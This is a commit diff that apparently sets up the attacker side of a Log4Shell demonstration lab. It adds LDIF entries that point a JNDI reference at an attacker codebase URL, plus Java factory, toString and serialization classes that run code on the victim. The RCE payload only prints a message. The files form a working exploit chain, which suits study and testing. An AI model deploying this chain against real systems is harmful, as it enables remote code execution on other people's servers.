8 changed files with 144 additions and 2 deletions
@ -0,0 +1,5 @@ |
|||
# Attacker |
|||
|
|||
Hosts an ldap with data from *.ldif files |
|||
|
|||
Hosts an HTTP server serving built classes from files in ./src |
@ -0,0 +1,10 @@ |
|||
dn: cn=made-class,dc=ldap-registry,dc=attacker |
|||
cn: made-class |
|||
javaClassName: MadeClass |
|||
javaCodebase: http://attacker_codebase:80/ |
|||
javaFactory: FactoryClass |
|||
objectClass: top |
|||
objectClass: javaContainer |
|||
objectClass: javaObject |
|||
objectClass: javaNamingReference |
|||
|
@ -0,0 +1,10 @@ |
|||
dn: cn=made-class,dc=ldap-registry,dc=attacker |
|||
cn: made-class |
|||
javaClassName: MadeClass |
|||
javaCodebase: http://attacker_codebase:80/ |
|||
javaFactory: FactoryClass |
|||
objectClass: top |
|||
objectClass: javaContainer |
|||
objectClass: javaObject |
|||
objectClass: javaNamingReference |
|||
|
@ -0,0 +1,42 @@ |
|||
// Factory class for RCE
|
|||
//
|
|||
// The victim will download this `FactoryClass` in an attempt to construct a
|
|||
// `MadeClass` object. In doing so, it will call the `getObjectInstance` method.
|
|||
// Normally, this would return the object pointed to in the registry.
|
|||
//
|
|||
// However, this code is executed on the victim, and thus provides a vector for
|
|||
// remote code execution.
|
|||
|
|||
|
|||
import javax.naming.spi.ObjectFactory; |
|||
|
|||
import java.util.Hashtable; |
|||
import javax.naming.Name; |
|||
import javax.naming.Context; |
|||
|
|||
|
|||
public class FactoryClass implements ObjectFactory { |
|||
@Override |
|||
public MadeClass getObjectInstance( |
|||
Object obj, |
|||
Name name, |
|||
Context nameCtx, |
|||
Hashtable<?,?> env |
|||
) { |
|||
|
|||
// Add instrumentation
|
|||
System.out.println("RCE Acheived in FactoryClass::getObjectInstance!"); |
|||
System.out.println("name: " + name ); |
|||
System.out.println("nameCtx: " + nameCtx); |
|||
System.out.println("env: " + env ); |
|||
System.out.println("obj: " + obj ); |
|||
|
|||
// Do whatever we want
|
|||
RCEMain.rceMain(); |
|||
|
|||
// We could choose not to return. However, the caller is expecting an
|
|||
// object of type MadeClass. I choose to give them something. It's
|
|||
// useful for further instrumentation.
|
|||
return new MadeClass(); |
|||
} |
|||
} |
@ -0,0 +1,21 @@ |
|||
// Class to return from the `FactoryClass`
|
|||
//
|
|||
// Objects of this class provide another vector for remote code execution. Log4J
|
|||
// will call the `toString` method on this object when printing it, and we can
|
|||
// use that to run code.
|
|||
|
|||
public class MadeClass { |
|||
@Override |
|||
public String toString() { |
|||
|
|||
// Add instrumentation
|
|||
System.out.println("RCE Acheived in MadeClass::toString!"); |
|||
|
|||
// Do whatever we want
|
|||
RCEMain.rceMain(); |
|||
|
|||
// We could choose not to return. However, the caller is expecting an
|
|||
// object of String. I choose to give them something.
|
|||
return "MadeClass"; |
|||
} |
|||
} |
@ -0,0 +1,13 @@ |
|||
// Demonstration main method for remote code execution
|
|||
//
|
|||
// TWO COPIES OF THIS FILE EXIST:
|
|||
// * src/attacker_codebase/src/RCEMain.java
|
|||
// * src/attacker_ldap_registry_setup/codebase/RCEMain.java
|
|||
// The former is more up to date than the latter and should be trusted in case
|
|||
// of discrepancy.
|
|||
|
|||
public class RCEMain { |
|||
public static void rceMain() { |
|||
System.out.println("Function rceMain called!"); |
|||
} |
|||
} |
@ -0,0 +1,40 @@ |
|||
// A class to demonstrate serialization
|
|||
//
|
|||
// This class serves to demonstrate an alternative to the factory-based
|
|||
// approach. An object of this class is serialized and stored in the LDAP
|
|||
// registry, then deserialized to have its `toString` method called.
|
|||
//
|
|||
// TWO COPIES OF THIS FILE EXIST:
|
|||
// * src/attacker_codebase/src/SerializedClass.java
|
|||
// * src/attacker_ldap_registry_setup/codebase/SerializedClass.java
|
|||
// The former is more up to date than the latter and should be trusted in case
|
|||
// of discrepancy.
|
|||
|
|||
import java.io.Serializable; |
|||
|
|||
|
|||
public class SerializedClass implements Serializable { |
|||
|
|||
// Random serialization constant
|
|||
public static final long serialVersionUID = 42L; |
|||
|
|||
private String message; |
|||
|
|||
public SerializedClass(String message) { |
|||
this.message = message; |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
|
|||
// Add instrumentation
|
|||
System.out.println("RCE Acheived in SerializedClass::toString!"); |
|||
|
|||
// Do whatever we want
|
|||
RCEMain.rceMain(); |
|||
|
|||
// We could choose not to return. However, the caller is expecting an
|
|||
// object of String. I choose to give them something.
|
|||
return "SerializedClass(\"" + message + "\")"; |
|||
} |
|||
} |
Loading…
Reference in new issue